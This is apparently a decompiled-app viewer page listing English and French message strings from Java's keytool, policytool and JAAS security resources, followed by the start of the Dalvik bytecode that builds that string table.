                                                                              • L\'entr\u00e9e de l\'alias {0} n\'a pas \u00e9t\u00e9 import\u00e9e.
                                                                              • Problem importing entry for alias <alias>: <exception>.\nEntry for alias <alias> not imported.
                                                                              • Probl\u00e8me lors de l\'importation de l\'entr\u00e9e de l\'alias {0}\u00a0: {1}.\nL\'entr\u00e9e de l\'alias {0} n\'a pas \u00e9t\u00e9 import\u00e9e.
                                                                              • Import command completed: <ok> entries successfully imported, <fail> entries failed or cancelled
                                                                              • Commande d\'importation ex\u00e9cut\u00e9e\u00a0: {0} entr\u00e9es import\u00e9es, \u00e9chec ou annulation de {1} entr\u00e9es
                                                                              • Warning: Overwriting existing alias <alias> in destination keystore
                                                                              • Avertissement\u00a0: L\'alias existant {0} est \u00e9cras\u00e9 dans le keystore de destination
                                                                              • Existing entry alias <alias> exists, overwrite? [no]:
                                                                              • L\'alias d\'entr\u00e9e {0} existe d\u00e9j\u00e0, voulez-vous l\'\u00e9craser\u00a0? [non]\u00a0:
                                                                              • Too many failures - try later
                                                                              • Trop d\'erreurs - r\u00e9essayez plus tard
                                                                              • Certification request stored in file <filename>
                                                                              • Demande de certification enregistr\u00e9e dans le fichier <{0}>
                                                                              • Submit this to your CA
                                                                              • Soumettre \u00e0 votre CA
                                                                              • if alias not specified, destalias, srckeypass, and destkeypass must not be specified
                                                                              • si l\'alias n\'est pas sp\u00e9cifi\u00e9, destalias, srckeypass et destkeypass ne doivent pas \u00eatre sp\u00e9cifi\u00e9s
                                                                              • Certificate stored in file <filename>
                                                                              • Certificat enregistr\u00e9 dans le fichier <{0}>
                                                                              • Certificate reply was installed in keystore
                                                                              • R\u00e9ponse de certificat install\u00e9e dans le Keystore
                                                                              • Certificate reply was not installed in keystore
                                                                              • R\u00e9ponse de certificat non install\u00e9e dans le Keystore
                                                                              • Certificate was added to keystore
                                                                              • Certificat ajout\u00e9 au Keystore
                                                                              • Certificate was not added to keystore
                                                                              • Certificat non ajout\u00e9 au Keystore
                                                                              • [Storing ksfname]
                                                                              • [Stockage de {0}]
                                                                              • alias has no public key (certificate)
                                                                              • {0} ne poss\u00e8de pas de cl\u00e9 publique (certificat)
                                                                              • Cannot derive signature algorithm
                                                                              • Impossible de d\u00e9duire l\'algorithme de signature
                                                                              • Alias <alias> does not exist
                                                                              • Alias <{0}> introuvable
                                                                              • Alias <alias> has no certificate
                                                                              • L\'\'alias <{0}> ne poss\u00e8de pas de certificat
                                                                              • Key pair not generated, alias <alias> already exists
                                                                              • Paire de cl\u00e9s non g\u00e9n\u00e9r\u00e9e, l\'\'alias <{0}> existe d\u00e9j\u00e0
                                                                              • Generating keysize bit keyAlgName key pair and self-signed certificate (sigAlgName) with a validity of validality days\n\tfor: x500Name
                                                                              • G\u00e9n\u00e9ration d\'\'une paire de cl\u00e9s {1} de {0} bits et d\'\'un certificat autosign\u00e9 ({2}) d\'\'une validit\u00e9 de {3} jours\n\tpour : {4}
                                                                              • Enter key password for <alias>
                                                                              • Sp\u00e9cifiez le mot de passe de la cl\u00e9 pour <{0}>
                                                                              • \t(RETURN if same as keystore password):
                                                                              • \t(appuyez sur Entr\u00e9e s\'il s\'agit du mot de passe du Keystore) :
                                                                              • Key password is too short - must be at least 6 characters
                                                                              • Le mot de passe de cl\u00e9 doit comporter au moins 6 caract\u00e8res.
                                                                              • Too many failures - key not added to keystore
                                                                              • Trop d\'erreurs - cl\u00e9 non ajout\u00e9e au Keystore
                                                                              • Destination alias <dest> already exists
                                                                              • L\'\'alias de la destination <{0}> existe d\u00e9j\u00e0
                                                                              • Password is too short - must be at least 6 characters
                                                                              • Le mot de passe doit comporter au moins 6 caract\u00e8res.
                                                                              • Too many failures. Key entry not cloned
                                                                              • Trop d\'erreurs. Entr\u00e9e de cl\u00e9 non clon\u00e9e
                                                                              • key password for <alias>
                                                                              • mot de passe de cl\u00e9 pour <{0}>
                                                                              • Keystore entry for <id.getName()> already exists
                                                                              • L\'\'entr\u00e9e Keystore pour <{0}> existe d\u00e9j\u00e0
                                                                              • Creating keystore entry for <id.getName()> ...
                                                                              • Cr\u00e9ation d\'\'une entr\u00e9e keystore pour <{0}> ...
                                                                              • No entries from identity database added
                                                                              • Aucune entr\u00e9e ajout\u00e9e \u00e0 partir de la base de donn\u00e9es d\'identit\u00e9s
                                                                              • Alias name: alias
                                                                              • Nom d\'\'alias : {0}
                                                                              • Creation date: keyStore.getCreationDate(alias)
                                                                              • Date de cr\u00e9ation : {0,date}
                                                                              • alias, keyStore.getCreationDate(alias),
                                                                              • {0}, {1,date},
                                                                              • alias,
                                                                              • {0},
                                                                              • Entry type: <type>
                                                                              • Type d\'entr\u00e9e\u00a0: {0}
                                                                              • Certificate chain length:
                                                                              • Longueur de cha\u00eene du certificat :
                                                                              • Certificate[(i + 1)]:
                                                                              • Certificat[{0,number,integer}]:
                                                                              • Certificate fingerprint (MD5):
                                                                              • Empreinte du certificat (MD5) :
                                                                              • Entry type: trustedCertEntry\n
                                                                              • Type d\'entr\u00e9e : trustedCertEntry\n
                                                                              • trustedCertEntry,
                                                                              • Keystore type:
                                                                              • Type Keystore :
                                                                              • Keystore provider:
                                                                              • Fournisseur Keystore :
                                                                              • Your keystore contains keyStore.size() entry
                                                                              • Votre Keystore contient {0,number,integer} entr\u00e9e(s)
                                                                              • Your keystore contains keyStore.size() entries
                                                                              • Failed to parse input
                                                                              • L\'analyse de l\'entr\u00e9e a \u00e9chou\u00e9
                                                                              • Empty input
                                                                              • Entr\u00e9e vide
                                                                              • Not X.509 certificate
                                                                              • Pas un certificat X.509
                                                                              • alias has no public key
                                                                              • {0} ne poss\u00e8de pas de cl\u00e9 publique
                                                                              • alias has no X.509 certificate
                                                                              • {0} ne poss\u00e8de pas de certificat X.509
                                                                              • New certificate (self-signed):
                                                                              • Nouveau certificat (auto-sign\u00e9) :
                                                                              • Reply has no certificates
                                                                              • La r\u00e9ponse n\'a pas de certificat
                                                                              • Certificate not imported, alias <alias> already exists
                                                                              • Certificat non import\u00e9, l\'\'alias <{0}> existe d\u00e9j\u00e0
                                                                              • Input not an X.509 certificate
                                                                              • L\'entr\u00e9e n\'est pas un certificat X.509
                                                                              • Certificate already exists in keystore under alias <trustalias>
                                                                              • Le certificat existe d\u00e9j\u00e0 dans le Keystore sous l\'\'alias <{0}>
                                                                              • Do you still want to add it? [no]:
                                                                              • Voulez-vous toujours l\'ajouter ? [non] :
                                                                              • Certificate already exists in system-wide CA keystore under alias <trustalias>
                                                                              • Le certificat existe d\u00e9j\u00e0 dans le Keystore CA syst\u00e8me sous l\'\'alias <{0}>alias <{0}>
                                                                              • Do you still want to add it to your own keystore? [no]:
                                                                              • Voulez-vous toujours l\'ajouter \u00e0 votre Keystore ? [non] :
                                                                              • Trust this certificate? [no]:
                                                                              • Faire confiance \u00e0 ce certificat ? [non] :
                                                                              • YES
                                                                              • OUI
                                                                              • New prompt:
                                                                              • Nouveau {0} :
                                                                              • Passwords must differ
                                                                              • Les mots de passe doivent diff\u00e9rer
                                                                              • Re-enter new prompt:
                                                                              • Sp\u00e9cifiez nouveau {0} :
                                                                              • Re-enter new password:
                                                                              • Ressaisissez le nouveau mot de passe :
                                                                              • They don\'t match. Try again
                                                                              • ne correspondent pas. R\u00e9essayez.
                                                                              • Enter prompt alias name:
                                                                              • Sp\u00e9cifiez le nom d\'\'alias {0} :
                                                                              • Enter new alias name\t(RETURN to cancel import for this entry):
                                                                              • Saisissez le nom du nouvel alias\t(ou appuyez sur ENTR\u00c9E pour annuler l\'importation pour cette entr\u00e9e)\u00a0:
                                                                              • Enter alias name:
                                                                              • Sp\u00e9cifiez le nom d\'alias :
                                                                              • \t(RETURN if same as for <otherAlias>)
                                                                              • \t(appuyez sur Entr\u00e9e si le r\u00e9sultat est identique \u00e0 <{0}>)
                                                                              • *PATTERN* printX509Cert
                                                                              • Propri\u00e9taire\u00a0: {0}\n\u00c9metteur\u00a0: {1}\nNum\u00e9ro de s\u00e9rie\u00a0: {2}\nValide du\u00a0: {3} au\u00a0: {4}\nEmpreintes du certificat\u00a0:\n\t MD5\u00a0: {5}\n\t SHA1\u00a0: {6}\n\t Nom de l\'algorithme de signature\u00a0: {7}\n\t Version\u00a0: {8}
                                                                              • What is your first and last name?
                                                                              • Quels sont vos pr\u00e9nom et nom ?
                                                                              • What is the name of your organizational unit?
                                                                              • Quel est le nom de votre unit\u00e9 organisationnelle ?
                                                                              • What is the name of your organization?
                                                                              • Quelle est le nom de votre organisation ?
                                                                              • What is the name of your City or Locality?
                                                                              • Quel est le nom de votre ville de r\u00e9sidence ?
                                                                              • What is the name of your State or Province?
                                                                              • Quel est le nom de votre \u00e9tat ou province ?
                                                                              • What is the two-letter country code for this unit?
                                                                              • Quel est le code de pays \u00e0 deux lettres pour cette unit\u00e9 ?
                                                                              • Is <name> correct?
                                                                              • Est-ce {0} ?
                                                                              • no
                                                                              • non
                                                                              • yes
                                                                              • oui
                                                                              • y
                                                                              • o
                                                                              • [defaultValue]:
                                                                              • [{0}] :
                                                                              • Alias <alias> has no key
                                                                              • L\'alias <{0}> n\'est associ\u00e9 \u00e0 aucune cl\u00e9
                                                                              • Alias <alias> references an entry type that is not a private key entry. The -keyclone command only supports cloning of private key entries
                                                                              • L\'entr\u00e9e \u00e0 laquelle l\'alias <{0}> fait r\u00e9f\u00e9rence n\'est pas une entr\u00e9e de type cl\u00e9 priv\u00e9e. La commande -keyclone prend uniquement en charge le clonage des cl\u00e9s priv\u00e9es
                                                                              • ***************** WARNING WARNING WARNING *****************
                                                                              • ***************** A V E R T I S S E M E N T *****************
                                                                              • * The integrity of the information stored in your keystore *
                                                                              • * L\'int\u00e9grit\u00e9 des informations enregistr\u00e9es dans votre Keystore *
                                                                              • * The integrity of the information stored in the srckeystore*
                                                                              • * L\'int\u00e9grit\u00e9 des informations enregistr\u00e9es dans srckeystore*
                                                                              • * has NOT been verified! In order to verify its integrity, *
                                                                              • * n\'a PAS \u00e9t\u00e9 v\u00e9rifi\u00e9e ! Pour cela, *
                                                                              • * you must provide your keystore password. *
                                                                              • * vous devez sp\u00e9cifier le mot de passe de votre Keystore. *
                                                                              • * you must provide the srckeystore password. *
                                                                              • * vous devez fournir le mot de passe srckeystore. *
                                                                              • Certificate reply does not contain public key for <alias>
                                                                              • La r\u00e9ponse au certificat ne contient pas de cl\u00e9 publique pour <{0}>
                                                                              • Incomplete certificate chain in reply
                                                                              • Cha\u00eene de certificat incompl\u00e8te dans la r\u00e9ponse
                                                                              • Certificate chain in reply does not verify:
                                                                              • La cha\u00eene de certificat de la r\u00e9ponse ne concorde pas :
                                                                              • Top-level certificate in reply:\n
                                                                              • Certificat du plus haut niveau dans la r\u00e9ponse :\n
                                                                              • ... is not trusted.
                                                                              • ... n\'est pas digne de confiance.
                                                                              • Install reply anyway? [no]:
                                                                              • Installer la r\u00e9ponse quand m\u00eame ? [non] :
                                                                              • NO
                                                                              • NON
                                                                              • Public keys in reply and keystore don\'t match
                                                                              • Les cl\u00e9s publiques de la r\u00e9ponse et du Keystore ne concordent pas
                                                                              • Certificate reply and certificate in keystore are identical
                                                                              • La r\u00e9ponse au certificat et le certificat du Keystore sont identiques
                                                                              • Failed to establish chain from reply
                                                                              • Impossible de cr\u00e9er une cha\u00eene \u00e0 partir de la r\u00e9ponse
                                                                              • n
                                                                              • Wrong answer, try again
                                                                              • R\u00e9ponse incorrecte, recommencez
                                                                              • Secret key not generated, alias <alias> already exists
                                                                              • Cl\u00e9 secr\u00e8te non g\u00e9n\u00e9r\u00e9e, l\'alias <{0}> existe d\u00e9j\u00e0
                                                                              • Please provide -keysize for secret key generation
                                                                              • Veuillez sp\u00e9cifier -keysize pour la g\u00e9n\u00e9ration de la cl\u00e9 secr\u00e8te
                                                                              • keytool usage:\n
                                                                              • Syntaxe keytool :\n
                                                                              • Extensions:
                                                                              • Extensions\u00a0:
                                                                              • -certreq [-v] [-protected]
                                                                              • \t [-alias <alias>] [-sigalg <sigalg>]
                                                                              • \t [-file <csr_file>] [-keypass <keypass>]
                                                                              • \t [-file <csr_file>] [-keypass <mot_passe_cl\u00e9>]
                                                                              • \t [-keystore <keystore>] [-storepass <storepass>]
                                                                              • \t [-keystore <keystore>] [-storepass <mot_passe_store>]
                                                                              • \t [-storetype <storetype>] [-providername <name>]
                                                                              • \t [-providerclass <provider_class_name> [-providerarg <arg>]] ...
                                                                              • \t [-providerpath <pathlist>]
                                                                              • -delete [-v] [-protected] -alias <alias>
                                                                              • -exportcert [-v] [-rfc] [-protected]
                                                                              • \t [-alias <alias>] [-file <cert_file>]
                                                                              • \t [-alias <alias>] [-file <fichier_cert>]
                                                                              • -genkeypair [-v] [-protected]
                                                                              • \t [-alias <alias>]
                                                                              • \t [-keyalg <keyalg>] [-keysize <keysize>]
                                                                              • \t [-keyalg <keyalg>] [-keysize <taille_cl\u00e9>]
                                                                              • \t [-sigalg <sigalg>] [-dname <dname>]
                                                                              • \t [-sigalg <sigalg>] [-dname <nomd>]
                                                                              • \t [-validity <valDays>] [-keypass <keypass>]
                                                                              • \t [-validity <joursVal>] [-keypass <mot_passe_cl\u00e9>]
                                                                              • -genseckey [-v] [-protected]
                                                                              • -help
                                                                              • -importcert [-v] [-noprompt] [-trustcacerts] [-protected]
                                                                              • \t [-alias <alias>] [-keypass <keypass>]
                                                                              • \t [-file <cert_file>] [-keypass <keypass>]
                                                                              • \t [-file <fichier_cert>] [-keypass <mot_passe_cl\u00e9>]
                                                                              • -importkeystore [-v]
                                                                              • \t [-srckeystore <srckeystore>] [-destkeystore <destkeystore>]
                                                                              • \t [-srcstoretype <srcstoretype>] [-deststoretype <deststoretype>]
                                                                              • \t [-srcprotected] [-destprotected]
                                                                              • \t [-srcstorepass <srcstorepass>] [-deststorepass <deststorepass>]
                                                                              • \t [-srcprovidername <srcprovidername>]\n\t [-destprovidername <destprovidername>]
                                                                              • \t [-srcalias <srcalias> [-destalias <destalias>]
                                                                              • \t [-srckeypass <srckeypass>] [-destkeypass <destkeypass>]]
                                                                              • \t [-noprompt]
                                                                              • -changealias [-v] [-protected] -alias <alias> -destalias <destalias>
                                                                              • \t [-keypass <keypass>]
                                                                              • -keypasswd [-v] [-alias <alias>]
                                                                              • \t [-keypass <old_keypass>] [-new <new_keypass>]
                                                                              • \t [-keypass <ancien_mot_passe_cl\u00e9>] [-new <nouveau_mot_passe_cl\u00e9>]
                                                                              • -list [-v | -rfc] [-protected]
                                                                              • -printcert [-v] [-file <cert_file>]
                                                                              • -printcert [-v] [-file <fichier_cert>]
                                                                              • -storepasswd [-v] [-new <new_storepass>]
                                                                              • Warning: A public key for alias \'signers[i]\' does not exist. Make sure a KeyStore is properly configured.
                                                                              • Avertissement\u00a0: il n\'existe pas de cl\u00e9 publique pour l\'alias {0}. V\u00e9rifiez que le keystore est correctement configur\u00e9.
                                                                              • Warning: Class not found: class
                                                                              • Avertissement : Classe introuvable : {0}
                                                                              • Warning: Invalid argument(s) for constructor: arg
                                                                              • Avertissement\u00a0: argument(s) non valide(s) pour le constructeur\u00a0: {0}
                                                                              • Illegal Principal Type: type
                                                                              • Type de mandant non admis : {0}
                                                                              • Illegal option: option
                                                                              • Option non admise : {0}
                                                                              • Usage: policytool [options]
                                                                              • Syntaxe : policytool [options]
                                                                              • [-file <file>] policy file location
                                                                              • [-file <fichier>] emplacement du fichier de r\u00e8gles
                                                                              • New
                                                                              • Nouveau
                                                                              • Open
                                                                              • Ouvrir
                                                                              • Save
                                                                              • Enregistrer
                                                                              • Save As
                                                                              • Enregistrer sous
                                                                              • View Warning Log
                                                                              • Afficher le journal des avertissements
                                                                              • Exit
                                                                              • Quitter
                                                                              • Add Policy Entry
                                                                              • Ajouter une r\u00e8gle
                                                                              • Edit Policy Entry
                                                                              • Modifier une r\u00e8gle
                                                                              • Remove Policy Entry
                                                                              • Supprimer une r\u00e8gle
                                                                              • Edit
                                                                              • Edition
                                                                              • Retain
                                                                              • Conserver
                                                                              • Warning: File name may include escaped backslash characters. It is not necessary to escape backslash characters (the tool escapes characters as necessary when writing the policy contents to the persistent store).\n\nClick on Retain to retain the entered name, or click on Edit to edit the name.
                                                                              • Add Public Key Alias
                                                                              • Ajouter un alias de cl\u00e9 publique
                                                                              • Remove Public Key Alias
                                                                              • Supprimer un alias de cl\u00e9 publique
                                                                              • File
                                                                              • Fichier
                                                                              • KeyStore
                                                                              • Policy File:
                                                                              • Fichier de r\u00e8gles :
                                                                              • Could not open policy file: policyFile: e.toString()
                                                                              • Impossible d\'ouvrir le fichier de strat\u00e9gie\u00a0: {0}: {1}
                                                                              • Policy Tool
                                                                              • Errors have occurred while opening the policy configuration. View the Warning Log for more information.
                                                                              • Des erreurs se sont produites \u00e0 l\'ouverture de la configuration de r\u00e8gles. Consultez le journal des avertissements pour obtenir des informations.
                                                                              • Error
                                                                              • Erreur
                                                                              • OK
                                                                              • Status
                                                                              • \u00c9tat
                                                                              • Warning
                                                                              • Avertissement
                                                                              • Permission:
                                                                              • Permission :
                                                                              • Principal Type:
                                                                              • Type de principal :
                                                                              • Principal Name:
                                                                              • Nom de principal :
                                                                              • Target Name:
                                                                              • Nom de cible :
                                                                              • Actions:
                                                                              • Actions :
                                                                              • OK to overwrite existing file filename?
                                                                              • Remplacer le fichier existant {0} ?
                                                                              • Cancel
                                                                              • Annuler
                                                                              • CodeBase:
                                                                              • Base de code :
                                                                              • SignedBy:
                                                                              • Sign\u00e9 par :
                                                                              • Add Principal
                                                                              • Ajouter un principal
                                                                              • Edit Principal
                                                                              • Modifier un principal
                                                                              • Remove Principal
                                                                              • Supprimer un principal
                                                                              • Principals:
                                                                              • Principaux :
                                                                              • Add Permission
                                                                              • Ajouter une permission
                                                                              • Edit Permission
                                                                              • Modifier une permission
                                                                              • Remove Permission
                                                                              • Supprimer une permission
                                                                              • Done
                                                                              • Termin\u00e9
                                                                              • KeyStore URL:
                                                                              • URL du KeyStore :
                                                                              • KeyStore Type:
                                                                              • Type de KeyStore :
                                                                              • KeyStore Provider:
                                                                              • Fournisseur du KeyStore :
                                                                              • KeyStore Password URL:
                                                                              • URL du mot de passe du KeyStore :
                                                                              • Principals
                                                                              • Principaux
                                                                              • Edit Principal:
                                                                              • Modifier un principal :
                                                                              • Add New Principal:
                                                                              • Ajouter un principal :
                                                                              • Permissions
                                                                              • Edit Permission:
                                                                              • Modifier une permission :
                                                                              • Add New Permission:
                                                                              • Ajouter une permission :
                                                                              • Signed By:
                                                                              • Cannot Specify Principal with a Wildcard Class without a Wildcard Name
                                                                              • Impossible de sp\u00e9cifier un principal avec une classe g\u00e9n\u00e9rique sans nom de g\u00e9n\u00e9rique
                                                                              • Cannot Specify Principal without a Name
                                                                              • Impossible de sp\u00e9cifier un principal sans nom
                                                                              • Permission and Target Name must have a value
                                                                              • La permission et le nom de cible doivent avoir une valeur
                                                                              • Remove this Policy Entry?
                                                                              • Supprimer cette r\u00e8gle ?
                                                                              • Overwrite File
                                                                              • Remplacer le fichier
                                                                              • Policy successfully written to filename
                                                                              • R\u00e8gle enregistr\u00e9e dans {0}
                                                                              • null filename
                                                                              • Nom Null de fichier
                                                                              • Save changes?
                                                                              • Enregistrer les modifications ?
                                                                              • Yes
                                                                              • Oui
                                                                              • No
                                                                              • Non
                                                                              • Policy Entry
                                                                              • R\u00e8gle
                                                                              • Save Changes
                                                                              • Enregistrer les changements
                                                                              • No Policy Entry selected
                                                                              • Aucune r\u00e8gle s\u00e9lectionn\u00e9e
                                                                              • Unable to open KeyStore: ex.toString()
                                                                              • Impossible d\'ouvrir le keystore\u00a0: {0}
                                                                              • No principal selected
                                                                              • Aucun principal s\u00e9lectionn\u00e9
                                                                              • No permission selected
                                                                              • Aucune permission s\u00e9lectionn\u00e9e
                                                                              • name
                                                                              • nom
                                                                              • configuration type
                                                                              • type de configuration
                                                                              • environment variable name
                                                                              • Nom variable de l\'environnement
                                                                              • library name
                                                                              • nom de biblioth\u00e8que
                                                                              • package name
                                                                              • nom de package
                                                                              • policy type
                                                                              • type de strat\u00e9gie
                                                                              • property name
                                                                              • nom de propri\u00e9t\u00e9
                                                                              • provider name
                                                                              • nom de fournisseur
                                                                              • Principal List
                                                                              • Liste de mandants
                                                                              • Permission List
                                                                              • Liste de droits
                                                                              • Code Base
                                                                              • Base de codes
                                                                              • KeyStore U R L:
                                                                              • KeyStore Password U R L:
                                                                              • invalid null input(s)
                                                                              • Entr\u00e9e() Null non valide(s)
                                                                              • actions can only be \'read\'
                                                                              • les actions peuvent \u00eatre accessibles en \'lecture\' uniquement
                                                                              • permission name [name] syntax invalid:
                                                                              • syntaxe de nom de permission [{0}] non valide :
                                                                              • Credential Class not followed by a Principal Class and Name
                                                                              • Classe Credential non suivie d\'une classe et d\'un nom de principal
                                                                              • Principal Class not followed by a Principal Name
                                                                              • Classe de principal non suivie d\'un nom de principal
                                                                              • Principal Name must be surrounded by quotes
                                                                              • Le nom de principal doit \u00eatre entre guillemets
                                                                              • Principal Name missing end quote
                                                                              • Guillemet fermant manquant pour nom de principal
                                                                              • PrivateCredentialPermission Principal Class can not be a wildcard (*) value if Principal Name is not a wildcard (*) value
                                                                              • La classe principale PrivateCredentialPermission ne peut \u00eatre une valeur g\u00e9n\u00e9rique (*) si le nom de principal n\'est pas une valeur g\u00e9n\u00e9rique (*)
                                                                              • CredOwner:\n\tPrincipal Class = class\n\tPrincipal Name = name
                                                                              • CredOwner :\n\tClasse principale = {0}\n\tNom principal = {1}
                                                                              • provided null name
                                                                              • nom Null sp\u00e9cifi\u00e9
                                                                              • provided null keyword map
                                                                              • Mappage des mots cl\u00e9s Null fourni
                                                                              • provided null OID map
                                                                              • Mappage OID Null fourni
                                                                              • invalid null AccessControlContext provided
                                                                              • AccessControlContext Null sp\u00e9cifi\u00e9 non valide
                                                                              • invalid null action provided
                                                                              • action Null sp\u00e9cifi\u00e9e non valide
                                                                              • invalid null Class provided
                                                                              • classe Null sp\u00e9cifi\u00e9e non valide
                                                                              • Subject:\n
                                                                              • Objet :\n
                                                                              • \tPrincipal:
                                                                              • \tPrincipal :
                                                                              • \tPublic Credential:
                                                                              • \tIdentit\u00e9 publique :
                                                                              • \tPrivate Credentials inaccessible\n
                                                                              • \tIdentit\u00e9s priv\u00e9es inaccessibles\n
                                                                              • \tPrivate Credential:
                                                                              • \tIdentit\u00e9 priv\u00e9e :
                                                                              • \tPrivate Credential inaccessible\n
                                                                              • \tIdentit\u00e9 priv\u00e9e inaccessible\n
                                                                              • Subject is read-only
                                                                              • Objet en lecture seule
                                                                              • attempting to add an object which is not an instance of java.security.Principal to a Subject\'s Principal Set
                                                                              • tentative d\'ajout d\'un objet qui n\'est pas une instance de java.security.Principal dans un ensemble principal d\'objet
                                                                              • attempting to add an object which is not an instance of class
                                                                              • tentative d\'\'ajout d\'\'un objet qui n\'\'est pas une instance de {0}
                                                                              • LoginModuleControlFlag:
                                                                              • LoginModuleControlFlag :
                                                                              • Invalid null input: name
                                                                              • Entr\u00e9e Null non valide : nom
                                                                              • No LoginModules configured for name
                                                                              • Aucun LoginModule configur\u00e9 pour {0}
                                                                              • invalid null Subject provided
                                                                              • sujet Null sp\u00e9cifi\u00e9 non valide
                                                                              • invalid null CallbackHandler provided
                                                                              • CallbackHandler Null sp\u00e9cifi\u00e9 non valide
                                                                              • null subject - logout called before login
                                                                              • sujet Null - tentative de d\u00e9connexion avant connexion
                                                                              • unable to instantiate LoginModule, module, because it does not provide a no-argument constructor
                                                                              • impossible d\'\'instancier LoginModule {0} car il ne fournit pas de constructeur sans argument
                                                                              • unable to instantiate LoginModule
                                                                              • impossible d\'instancier LoginModule
                                                                              • unable to instantiate LoginModule:
                                                                              • impossible d\'instancier LoginModule\u00a0:
                                                                              • unable to find LoginModule class:
                                                                              • classe LoginModule introuvable :
                                                                              • unable to access LoginModule:
                                                                              • impossible d\'acc\u00e9der \u00e0 LoginModule :
                                                                              • Login Failure: all modules ignored
                                                                              • Echec de connexion : tous les modules ont \u00e9t\u00e9 ignor\u00e9s
                                                                              • java.security.policy: error parsing policy:\n\tmessage
                                                                              • java.security.policy : erreur d\'\'analyse de {0} :\n\t{1}
                                                                              • java.security.policy: error adding Permission, perm:\n\tmessage
                                                                              • java.security.policy : erreur d\'\'ajout de permission, {0} :\n\t{1}
                                                                              • java.security.policy: error adding Entry:\n\tmessage
                                                                              • java.security.policy : erreur d\'\'ajout d\'\'entr\u00e9e :\n\t{0}
                                                                              • alias name not provided (pe.name)
                                                                              • nom d\'\'alias non fourni ({0})
                                                                              • unable to perform substitution on alias, suffix
                                                                              • impossible d\'\'effectuer une substitution pour l\'\'alias, {0}
                                                                              • substitution value, prefix, unsupported
                                                                              • valeur de substitution, {0}, non prise en charge
                                                                              • (
                                                                              • )
                                                                              • type can\'t be null
                                                                              • le type ne peut \u00eatre Null
                                                                              • keystorePasswordURL can not be specified without also specifying keystore
                                                                              • Impossible de sp\u00e9cifier keystorePasswordURL sans sp\u00e9cifier aussi le keystore
                                                                              • expected keystore type
                                                                              • type keystore pr\u00e9vu
                                                                              • expected keystore provider
                                                                              • fournisseur keystore pr\u00e9vu
                                                                              • multiple Codebase expressions
                                                                              • expressions Codebase multiples
                                                                              • multiple SignedBy expressions
                                                                              • expressions SignedBy multiples
                                                                              • SignedBy has empty alias
                                                                              • SignedBy poss\u00e8de un alias vide
                                                                              • can not specify Principal with a wildcard class without a wildcard name
                                                                              • impossible de sp\u00e9cifier Principal avec une classe g\u00e9n\u00e9rique sans nom g\u00e9n\u00e9rique
                                                                              • expected codeBase or SignedBy or Principal
                                                                              • codeBase ou SignedBy ou Principal pr\u00e9vu
                                                                              • expected permission entry
                                                                              • entr\u00e9e de permission pr\u00e9vue
                                                                              • number
                                                                              • nombre
                                                                              • expected [expect], read [end of file]
                                                                              • pr\u00e9vu [{0}], lecture [fin de fichier]
                                                                              • expected [;], read [end of file]
                                                                              • pr\u00e9vu [;], lecture [fin de fichier]
                                                                              • line number: msg
                                                                              • ligne {0} : {1}
                                                                              • line number: expected [expect], found [actual]
                                                                              • ligne {0} : pr\u00e9vu [{1}], trouv\u00e9 [{2}]
                                                                              • null principalClass or principalName
                                                                              • principalClass ou principalName Null
                                                                              • PKCS11 Token [providerName] Password:
                                                                              • Mot de passe PKCS11 Token [{0}] :
                                                                              • unable to instantiate Subject-based policy
                                                                              • impossible d\'instancier la strat\u00e9gie Subject
                                                                              Position Instruction Meta Information
                                                                              0.prologue
                                                                              1const/4 v6, 0x2
                                                                              2const/4 v5, 0x1
                                                                              3const/4 v4, 0x0
                                                                              4const/16 v0, 0x153
                                                                              5new-array v0, v0, [[Ljava/lang/Object;
                                                                              6new-array v1, v6, [Ljava/lang/Object;
                                                                              8const-string v2, " "
                                                                              9aput-object v2, v1, v4
                                                                              11const-string v2, " "
                                                                              12aput-object v2, v1, v5
                                                                              13aput-object v1, v0, v4
                                                                              14new-array v1, v6, [Ljava/lang/Object;
                                                                              16const-string v2, " "
                                                                              17aput-object v2, v1, v4
                                                                              19const-string v2, " "
                                                                              20aput-object v2, v1, v5
                                                                              21aput-object v1, v0, v5
                                                                              22new-array v1, v6, [Ljava/lang/Object;
                                                                              24const-string v2, " "
                                                                              25aput-object v2, v1, v4
                                                                              27const-string v2, " "
                                                                              28aput-object v2, v1, v5
                                                                              29aput-object v1, v0, v6
                                                                              30const/4 v1, 0x3
                                                                              31new-array v2, v6, [Ljava/lang/Object;
                                                                              33const-string v3, ", "
                                                                              34aput-object v3, v2, v4
                                                                              36const-string v3, ", "
                                                                              37aput-object v3, v2, v5
                                                                              38aput-object v2, v0, v1
                                                                              39const/4 v1, 0x4
                                                                              40new-array v2, v6, [Ljava/lang/Object;
                                                                              42const-string v3, "\n"
                                                                              43aput-object v3, v2, v4
                                                                              45const-string v3, "\n"
                                                                              46aput-object v3, v2, v5
                                                                              47aput-object v2, v0, v1
                                                                              48const/4 v1, 0x5
                                                                              49new-array v2, v6, [Ljava/lang/Object;
                                                                              51const-string v3, "*******************************************"
                                                                              52aput-object v3, v2, v4
                                                                              54const-string v3, "*******************************************"
                                                                              55aput-object v3, v2, v5
                                                                              56aput-object v2, v0, v1
                                                                              57const/4 v1, 0x6
                                                                              58new-array v2, v6, [Ljava/lang/Object;
                                                                              60const-string v3, "*******************************************\n\n"
                                                                              61aput-object v3, v2, v4
                                                                              63const-string v3, "*******************************************"
                                                                              64aput-object v3, v2, v5
                                                                              65aput-object v2, v0, v1
                                                                              66const/4 v1, 0x7
                                                                              67new-array v2, v6, [Ljava/lang/Object;
                                                                              69const-string v3, "keytool error: "
                                                                              70aput-object v3, v2, v4
                                                                              72const-string v3, "erreur keytool : "
                                                                              73aput-object v3, v2, v5
                                                                              74aput-object v2, v0, v1
                                                                              75const/16 v1, 0x8
                                                                              76new-array v2, v6, [Ljava/lang/Object;
                                                                              78const-string v3, "Illegal option: "
                                                                              79aput-object v3, v2, v4
                                                                              81const-string v3, "Option non valide : "
                                                                              82aput-object v3, v2, v5
                                                                              83aput-object v2, v0, v1
                                                                              84const/16 v1, 0x9
                                                                              85new-array v2, v6, [Ljava/lang/Object;
                                                                              87const-string v3, "Try keytool -help"
                                                                              88aput-object v3, v2, v4
                                                                              90const-string v3, "Essayez keytool -help"
                                                                              91aput-object v3, v2, v5
                                                                              92aput-object v2, v0, v1
                                                                              93const/16 v1, 0xa
                                                                              94new-array v2, v6, [Ljava/lang/Object;
                                                                              96const-string v3, "Command option <flag> needs an argument."
                                                                              97aput-object v3, v2, v4
                                                                              99const-string v3, "L\'option de commande {0} requiert un argument."
                                                                              100aput-object v3, v2, v5
                                                                              101aput-object v2, v0, v1
                                                                              102const/16 v1, 0xb
                                                                              103new-array v2, v6, [Ljava/lang/Object;
